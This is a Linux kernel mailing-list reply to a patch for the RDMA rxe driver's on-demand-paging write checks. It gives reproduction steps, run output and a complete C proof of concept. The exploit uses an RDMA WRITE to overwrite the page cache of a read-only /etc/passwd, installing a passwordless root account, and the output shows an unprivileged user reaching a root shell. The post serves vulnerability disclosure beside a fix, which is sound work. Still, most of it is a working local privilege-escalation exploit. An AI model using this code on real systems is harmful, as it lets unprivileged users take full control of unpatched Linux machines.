Re: [PATCH] RDMA/rxe: Restore HMM_PFN_WRITE check in ODP write paths

Weiming Shi <[email protected]> Sun, 26 Jul 2026 21:09:43 +0800
Newsgroups org.kernel.vger.linux-rdma
Message-ID <CANgPUi23n7XQJdtfitQLZ_1AwQPrL-xBR5Q6OHoF9sCARPuwrw@mail.gmail.com>
Reproduction Steps:

1. Requirements

```
CONFIG_RDMA_RXE=y
CONFIG_INFINIBAND_ON_DEMAND_PAGING=y   # default when INFINIBAND_USER_MEM=y
```

2 . prepare

```bash
modprobe rdma_rxe
rdma link add rxe0 type rxe netdev enp2s0  # enp2s0 is your network devices
```

3. Build  the PoC,then run it we will gain root shell.

```
gcc -O2 -o poc poc.c -libverbs
```
Run the PoC as an unprivileged user; it overwrites /etc/passwd's
        page cache (target file must be at least 512 bytes, true on any
        real system) and an empty-password root entry is installed:

```bash
bash-5.3$ ./poc /etc/passwd lpe
[*] target=/etc/passwd first 32 bytes before: root:x:0:0:Super User:/root:/bin
[*] using device rxe0
[+] ODP MR registered on PROT_READ file mapping: rkey=0x16b5
[*] payload src first 64 bytes: attacker::0:0::/root:/bin/sh
root::0:0::/root:/bin/sh
testuser:x
[*] trying gid_index=1 gid=0000:...fb
[+] QPs connected
[+] RDMA WRITE completed without faulting the read-only mapping
[*] victim mmap first 64 bytes after write: attacker::0:0::/root:/bin/sh
root::0:0::/root:/bin/sh
testuser:x
[*] victim[128..176] after write: :adm:/var/adm:/usr/sbin/nologin
lp:x:4:7:lp:/var
[+] SUCCESS: page cache of read-only file /etc/passwd overwritten!
[+] first 64 bytes now: attacker::0:0::/root:/bin/sh
root::0:0::/root:/bin/sh
testuser:x

bash-5.3$
bash-5.3$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
bash-5.3$ su root
sh-5.3# id
uid=0(attacker) gid=0(root) groups=0(root)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
```

PoC:
```c
// PoC: rxe ODP writes into a read-only-mapped page-cache page
(Dirty-COW-class).
// Unprivileged user: ibv_reg_mr(IBV_ACCESS_ON_DEMAND|REMOTE_WRITE) over a
// PROT_READ/MAP_PRIVATE file mapping, then RDMA WRITE lands in the page cache.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#include <infiniband/verbs.h>

#define PGSZ 4096

static void die(const char *m) { perror(m); exit(1); }

static int gid_is_v4mapped(const union ibv_gid *g)
{
    return !memcmp(g->raw, "\0\0\0\0\0\0\0\0\0\0\xff\xff", 12) &&
           g->raw[12];
}

/* collect RoCE v2 gid indexes; IPv4-mapped gids first (their dmac
 * resolution is trivial for a local self-connect, while fe80::/64
 * link-local can fail ib_resolve_eth_dmac() with -ETIMEDOUT) */
static int collect_rocev2_gids(struct ibv_context *ctx, const char *devname,
                               union ibv_gid *gids, int *idxs, int maxn)
{
    char path[512], type[64];
    int n = 0;
    for (int pass = 0; pass < 2; pass++) {
        for (int i = 0; i < 32 && n < maxn; i++) {
            snprintf(path, sizeof(path),

"/sys/class/infiniband/%s/ports/1/gid_attrs/types/%d", devname, i);
            int fd = open(path, O_RDONLY);
            if (fd < 0)
                break;
            int r = read(fd, type, sizeof(type) - 1);
            close(fd);
            if (r <= 0 || !strstr(type, "v2"))
                continue;
            union ibv_gid g;
            if (ibv_query_gid(ctx, 1, i, &g))
                continue;
            int v4 = gid_is_v4mapped(&g);
            if ((pass == 0 && v4) || (pass == 1 && !v4)) {
                gids[n] = g;
                idxs[n] = i;
                n++;
            }
        }
    }
    return n;
}

static struct ibv_qp *make_qp(struct ibv_pd *pd, struct ibv_cq *cq)
{
    struct ibv_qp_init_attr qa = {
        .send_cq = cq, .recv_cq = cq,
        .cap = { .max_send_wr = 16, .max_recv_wr = 16,
                 .max_send_sge = 4, .max_recv_sge = 4 },
        .qp_type = IBV_QPT_RC,
    };
    struct ibv_qp *qp = ibv_create_qp(pd, &qa);
    if (!qp) die("ibv_create_qp");
    return qp;
}

static void qp_init(struct ibv_qp *qp)
{
    struct ibv_qp_attr a = {0};
    a.qp_state = IBV_QPS_INIT;
    a.pkey_index = 0;
    a.port_num = 1;
    a.qp_access_flags = IBV_ACCESS_REMOTE_WRITE | IBV_ACCESS_REMOTE_READ |
                        IBV_ACCESS_REMOTE_ATOMIC;
    int rc = ibv_modify_qp(qp, &a, IBV_QP_STATE | IBV_QP_PKEY_INDEX |
                      IBV_QP_PORT | IBV_QP_ACCESS_FLAGS);
    if (rc) { fprintf(stderr, "modify INIT: %s (%d)\n", strerror(rc),
rc); exit(1); }
}

/* returns 0 on success, else the verbs error code (retryable with
another gid) */
static int qp_to_rts(struct ibv_qp *qp, uint32_t dest_qp_num,
                     union ibv_gid gid, int gid_index)
{
    struct ibv_qp_attr a = {0};
    int rc;

    a.qp_state = IBV_QPS_RTR;
    a.path_mtu = IBV_MTU_1024;
    a.dest_qp_num = dest_qp_num;
    a.rq_psn = 0;
    a.max_dest_rd_atomic = 16;
    a.min_rnr_timer = 12;
    a.ah_attr.is_global = 1;
    a.ah_attr.dlid = 0;
    a.ah_attr.sl = 0;
    a.ah_attr.src_path_bits = 0;
    a.ah_attr.port_num = 1;
    a.ah_attr.grh.dgid = gid;
    a.ah_attr.grh.sgid_index = gid_index;
    a.ah_attr.grh.hop_limit = 255;
    rc = ibv_modify_qp(qp, &a, IBV_QP_STATE | IBV_QP_AV | IBV_QP_PATH_MTU |
                      IBV_QP_DEST_QPN | IBV_QP_RQ_PSN |
IBV_QP_MAX_DEST_RD_ATOMIC |
                      IBV_QP_MIN_RNR_TIMER);
    if (rc)
        return rc;

    memset(&a, 0, sizeof(a));
    a.qp_state = IBV_QPS_RTS;
    a.sq_psn = 0;
    a.timeout = 14;
    a.retry_cnt = 7;
    a.rnr_retry = 7;
    a.max_rd_atomic = 16;
    { int rc = ibv_modify_qp(qp, &a, IBV_QP_STATE | IBV_QP_TIMEOUT |
IBV_QP_RETRY_CNT |
                      IBV_QP_RNR_RETRY | IBV_QP_SQ_PSN |
IBV_QP_MAX_QP_RD_ATOMIC);
      if (rc) { fprintf(stderr, "modify RTS: %s (%d)\n", strerror(rc),
rc); exit(1); } }
    return 0;
}

static void poll_ok(struct ibv_cq *cq)
{
    struct ibv_wc wc;
    int n;
    int tries = 0;
    do {
        n = ibv_poll_cq(cq, 1, &wc);
        if (n < 0) die("poll_cq");
        if (++tries > 1000000) { fprintf(stderr, "poll timeout\n"); exit(1); }
    } while (n == 0);
    if (wc.status != IBV_WC_SUCCESS) {
        fprintf(stderr, "WC error: %s (%d)\n",
ibv_wc_status_str(wc.status), wc.status);
        exit(1);
    }
}

int main(int argc, char **argv)
{
    const char *target = argc > 1 ? argv[1] : "/etc/passwd";
    int lpe = argc > 2 && !strcmp(argv[2], "lpe");

    /* 1. victim page-cache page, read-only, pre-populated */
    int fd = open(target, O_RDONLY);
    if (fd < 0) die("open target");
    char *victim = mmap(NULL, PGSZ, PROT_READ, MAP_PRIVATE, fd, 0);
    if (victim == MAP_FAILED) die("mmap");
    madvise(victim, PGSZ, MADV_WILLNEED);
    volatile char sink = victim[0]; /* install RO PTE pointing at page cache */
    (void)sink;

    char *orig = malloc(PGSZ);
    memcpy(orig, victim, PGSZ);
    printf("[*] target=%s first 32 bytes before: %.32s\n", target, victim);

    /* 2. open rxe */
    struct ibv_device **dl = ibv_get_device_list(NULL);
    if (!dl) die("ibv_get_device_list");
    struct ibv_context *ctx = NULL;
    const char *devname = NULL;
    for (int i = 0; dl[i]; i++)
        if (!strncmp(ibv_get_device_name(dl[i]), "rxe", 3)) {
            devname = ibv_get_device_name(dl[i]);
            ctx = ibv_open_device(dl[i]);
            break;
        }
    if (!ctx) { fprintf(stderr, "no rxe device\n"); return 1; }
    printf("[*] using device %s\n", devname);

    struct ibv_pd *pd = ibv_alloc_pd(ctx);
    if (!pd) die("alloc_pd");
    struct ibv_cq *cq = ibv_create_cq(ctx, 64, NULL, NULL, 0);
    if (!cq) die("create_cq");

    /* 3. THE malicious object: ODP MR with full perms over a
PROT_READ mapping */
    struct ibv_mr *vmr = ibv_reg_mr(pd, victim, PGSZ,
        IBV_ACCESS_LOCAL_WRITE | IBV_ACCESS_REMOTE_WRITE |
        IBV_ACCESS_REMOTE_READ | IBV_ACCESS_ON_DEMAND);
    if (!vmr) die("reg_mr ODP victim");
    printf("[+] ODP MR registered on PROT_READ file mapping:
rkey=%#x\n", vmr->rkey);

    /* 4. payload source MR (plain anonymous) */
    char *src = mmap(NULL, PGSZ, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (src == MAP_FAILED) die("mmap src");
    memcpy(src, orig, PGSZ);
    if (lpe) {
        /* replace the whole file; readers stop at EOF so NUL padding is safe */
        const char *hdr =
            "attacker::0:0::/root:/bin/sh\n"
            "root::0:0::/root:/bin/sh\n"
            "testuser:x:1000:1000:test:/home/testuser:/bin/sh\n";
        memcpy(src, hdr, strlen(hdr));
    } else {
        memcpy(src, "PWNED-via-rxe-ODP-CoW-bypass", 28); /* marker
inside the file */
    }
    struct ibv_mr *smr = ibv_reg_mr(pd, src, PGSZ, IBV_ACCESS_LOCAL_WRITE);
    if (!smr) die("reg_mr src");
    printf("[*] payload src first 64 bytes: %.64s\n", src);

    /* 5. two RC QPs self-connected over own GID;
     * try each RoCEv2 gid (IPv4-mapped first) until dmac resolution succeeds */
    union ibv_gid gids[32];
    int idxs[32];
    int ngids = collect_rocev2_gids(ctx, devname, gids, idxs, 32);
    if (!ngids) { fprintf(stderr, "no RoCEv2 gid found\n"); return 1; }

    int connected = 0, last_rc = 0;
    struct ibv_qp *qa = NULL, *qb = NULL;
    for (int i = 0; i < ngids && !connected; i++) {
        printf("[*] trying gid_index=%d gid=%02x%02x:...%02x\n",
               idxs[i], gids[i].raw[0], gids[i].raw[1], gids[i].raw[15]);
        qa = make_qp(pd, cq);
        qb = make_qp(pd, cq);
        qp_init(qa);
        qp_init(qb);
        last_rc = qp_to_rts(qa, qb->qp_num, gids[i], idxs[i]);
        if (!last_rc)
            last_rc = qp_to_rts(qb, qa->qp_num, gids[i], idxs[i]);
        if (last_rc) {
            ibv_destroy_qp(qa);
            ibv_destroy_qp(qb);
            qa = qb = NULL;
            continue;
        }
        connected = 1;
    }
    if (!connected) {
        fprintf(stderr, "QP connect failed: %s (%d)\n",
strerror(last_rc), last_rc);
        return 1;
    }
    printf("[+] QPs connected\n");

    /* 6. RDMA WRITE from qa straight into the victim MR (on responder qb).
     * a single sub-MTU write; rxe reassembles multi-packet writes unreliably
     * and the victim file fits in one write anyway */
    {
        struct ibv_sge sge = {
            .addr = (uintptr_t)src, .length = 512, .lkey = smr->lkey,
        };
        struct ibv_send_wr wr = {
            .opcode = IBV_WR_RDMA_WRITE,
            .send_flags = IBV_SEND_SIGNALED,
            .sg_list = &sge, .num_sge = 1,
            .wr.rdma = { .remote_addr = (uintptr_t)victim, .rkey = vmr->rkey },
        }, *bad = NULL;
        if (ibv_post_send(qa, &wr, &bad)) die("post_send");
        poll_ok(cq);
    }
    printf("[+] RDMA WRITE completed without faulting the read-only mapping\n");
    sleep(1); /* let the responder land the write */
    printf("[*] victim mmap first 64 bytes after write: %.64s\n", victim);
    printf("[*] victim[128..176] after write: %.48s\n", victim + 128);
    /* 7. verify: independent reader sees modified file content */
    off_t fsz = lseek(fd, 0, SEEK_END);
    size_t cmp = fsz > 0 && fsz < PGSZ ? (size_t)fsz : PGSZ;
    int fd2 = open(target, O_RDONLY);
    if (fd2 < 0) die("reopen");
    char *now = calloc(1, PGSZ);
    ssize_t nrd = pread(fd2, now, cmp, 0);
    if (nrd != (ssize_t)cmp) die("pread");
    if (memcmp(orig, now, cmp) == 0) {
        printf("[-] primitive FAILED: file page cache unchanged\n");
        return 1;
    }
    printf("[+] SUCCESS: page cache of read-only file %s
overwritten!\n", target);
    printf("[+] first 64 bytes now: %.64s\n", now);

    /* keep the page hot briefly so an orchestrating script can act on it */
    sleep(5);
    return 0;
}

```